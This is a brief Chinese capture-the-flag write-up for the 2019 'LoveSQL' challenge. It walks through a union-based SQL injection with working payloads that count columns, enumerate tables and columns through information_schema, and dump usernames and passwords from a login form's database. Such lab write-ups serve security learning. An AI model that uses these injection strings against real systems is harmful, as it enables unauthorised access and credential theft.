[极客大挑战 2019]LoveSQL
知识点
- 常规union select注入
过程
主页:
抓包分析下
手动测试下注入点
order by查下字段
admin' order by 3#
union select寻找显示位
-admin' union select 1,2,3%23
查表
-admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23
发现geekuser
,l0ve1ysq1
两张表
在l0ve1ysq1中查下字段
-admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3%23
dump数据
-admin' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),3%23
得到flag